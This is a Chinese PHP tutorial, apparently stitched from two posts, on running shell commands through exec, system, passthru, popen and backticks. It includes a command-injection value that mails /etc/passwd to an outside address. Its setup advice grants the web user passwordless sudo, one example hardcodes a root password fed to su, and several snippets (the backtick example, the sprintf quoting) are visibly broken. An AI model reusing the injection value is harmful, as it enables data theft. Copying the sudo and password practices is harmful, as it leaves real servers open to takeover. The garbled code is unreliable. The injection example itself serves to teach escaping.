PHP中提供了几个调用linux命令的函数，exec、system、passthru，函数使用请参考手册，这里不具体介绍。下面我以exec函数为例具体介绍：
比如LINUX中修改服务器时间命令是 /bin/date -s '2010-05-28 13:10'，我们通过php函数exec调用这个命令执行修改时间exec("sudo /bin/date -s '2010-05-28 13:10'",$out,$status);其中$out是输出值，$status是返回值0或1，如果返回0则执行成功，返回1则执行失败。要通过PHP成功执行这个命令（PHP运行用户非root）需要检查以下几点：
1、首先查看php运行用户，可以在web服务器配置文件中查看,或者运行
<?php echo shell_exec("id -a");?>直接查看。比如我的运行用户是www，编辑/etc/sudoers文件
vi /etc/sudoers
这表示www用户运行的时候不用输入密码。接着看图片注释掉前面两个，删除圈着的环境变量LS_COLORS，其中Ubuntu中是没有这几个的，这一步可省略，其他Redhat、Fedora、Centos这几个都是需要这么做的。
2、查看php.ini中配置是否打开安全模式，主要是以下三个地方
safe_mode = (这个如果为off下面两个就不用管了) disable_functions = safe_mode_exec_dir=
PHP 执行系统外部命令 system() exec() passthru()
PHP作为一种服务器端的脚本语言，象编写简单，或者是复杂的动态网页这样的任务，它完全能够胜任。但事情不总是如此，有时为了实现某个功能，必须借助于操作系统的外部程序（或者称之为命令），这样可以做到事半功倍。
区别:
system() 输出并返回最后一行shell结果。
exec() 不输出结果，返回最后一行shell结果，所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令，把命令的运行结果原样地直接输出到标准输出设备上。
相同点：
都可以获得命令执行的状态码
//system('dir');
// exec ('dir');
// passthru ('dir');
// echo `dir`;PHP作为一种服务器端的脚本语言，象编写简单，或者是复杂的动态网页这样的任务，它完全能够胜任。但事情不总是如此，有时为了实现某个功能，必须借助于操作系统的外部程序（或者称之为命令），这样可以做到事半功倍。
那么，是否可以在PHP脚本中调用外部命令呢？如果能，如何去做呢？有些什么方面的顾虑呢？相信你看了本文后，肯定能够回答这些问题了。是否可以？
答案是肯定的。PHP和其它的程序设计语言一样，完全可以在程序内调用外部命令，并且是很简单的：只要用一个或几个函数即可。
前提条件
由于PHP基本是用于WEB程序开发的，所以安全性成了人们考虑的一个重要方面。于是PHP的设计者们给PHP加了一个门：安全模式。如果运行在安全模式下，那么PHP脚本中将受到如下四个方面的限制：
执行外部命令
在打开文件时有些限制
连接MySQL数据库
基于HTTP的认证
在 安全模式下，只有在特定目录中的外部程序才可以被执行，对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用safe_mode_exec_dir指令，或在编译PHP是加上--with-exec-dir选项来指定，默认是 /usr/local/php/bin。
如果你调用一个应该可以输出结果的外部命令（意思是PHP脚本没有错误），得到的却是一片空白，那么很可能你的网管已经把PHP运行在安全模式下了。
如何做？
在PHP中调用外部命令，可以用如下三种方法来实现：
1） 用PHP提供的专门函数
PHP提供共了3个专门的执行外部命令的函数：system()，exec()，passthru()。
system()
原型：string system (string command [, int return_var])
system()函数很其它语言中的差不多，它执行给定的命令，输出和返回结果。第二个参数是可选的，用来得到命令执行后的状态码。
例子：
<?php
system("/usr/local/bin/webalizer/webalizer");
?>
exec()原型：string exec (string command [, string array [, int return_var]])
exec ()函数与system()类似，也执行给定的命令，但不输出结果，而是返回结果的最后一行。虽然它只返回命令结果的最后一行，但用第二个参数array 可以得到完整的结果，方法是把结果逐行追加到array的结尾处。所以如果array不是空的，在调用之前最好用unset()最它清掉。只有指定了第二 个参数时，才可以用第三个参数，用来取得命令执行的状态码。
例子：
<?php
exec("/bin/ls -l");
exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
?>
passthru()原型：void passthru (string command [, int return_var])
passthru ()只调用命令，不返回任何结果，但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus （Unix下的一个处理图片的工具，输出二进制的原始图片的流）这样的程序。同样它也可以得到命令执行的状态码。
例子：
<?php
header("Content-type: image/gif");
passthru("./ppmtogif hunte.ppm");
?>2） 用popen()函数打开进程
上面的方法只能简单地执行命令，却不能与命令交互。但有些时候必须向命令输入一些东西，如在增加Linux的系统用户时，要调用su来把当前用户换到root才行，而su命令必须要在命令行上输入root的密码。这种情况下，用上面提到的方法显然是不行的。
popen ()函数打开一个进程管道来执行给定的命令，返回一个文件句柄。既然返回的是一个文件句柄，那么就可以对它读和写了。在PHP3中，对这种句柄只能做单一 的操作模式，要么写，要么读；从PHP4开始，可以同时读和写了。除非这个句柄是以一种模式（读或写）打开的，否则必须调用pclose()函数来关闭 它。
例子1：
<?php
$fp=popen("/bin/ls -l", "r");
?>例子2：
<?php
/* PHP中如何增加一个系统用户
下面是一段例程，增加一个名字为james的用户,
root密码是 verygood。仅供参考
*/
$sucommand = "su --login root --command";
$useradd = "useradd ";
$rootpasswd = "verygood";
$user = "james";
$user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");
@fputs($fp,$rootpasswd);
@pclose($fp);
?>3） 用反撇号（`，也就是键盘上ESC键下面的那个，和~在同一个上面）
这个方法以前没有归入PHP的文档，是作为一个秘技存在的。方法很简单，用两个反撇号把要执行的命令括起来作为一个表达式，这个表达式的值就是命令执行的结果。如：
<?php $res='/bin/ls -l'; echo ' '.$res.' '; ?>
这个脚本的输出就象：
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考虑些什么？
要考虑两个问题：安全性和超时。
先看安全性。比如，你有一家小型的网上商店，所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件，让你的用户输入他们的EMAIL地 址，然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数（或者从未听说过），你就调用Linux/Unix系统的mail程序来发送这 个文件。程序就象这样：
<?php
system("mail $to < products.txt");
echo "我们的产品目录已经发送到你的信箱：$to";
?>用这段代码，一般的用户不会产生什么危险，但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址：
'--bla ; mail someone@domain.com < /etc/passwd ;'
那么这条命令最终变成：
'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'
我相信，无论哪个网络管理人员见到这样的命令，都会吓出一身冷汗来。
幸好，PHP为我们提供了两个函数：EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串 中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的，象分号（），重定向（>）和从文件读入 （<）等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号，并把字符串中的单引号转义，这样这个字符串 就可以安全地作为命令的参数。
再来看看超时问题。如果要执行的命令要花费很长的时间，那么应该把这个命令放到系统的后台去运 行。但在默认情况下，象system()等函数要等到这个命令运行完才返回（实际上是要等命令的输出结果），这肯定会引起PHP脚本的超时。解决的办法是 把命令的输出重定向到另外一个文件或流中，如：
<?php
system("/usr/local/bin/order_proc > /tmp/null &");
?>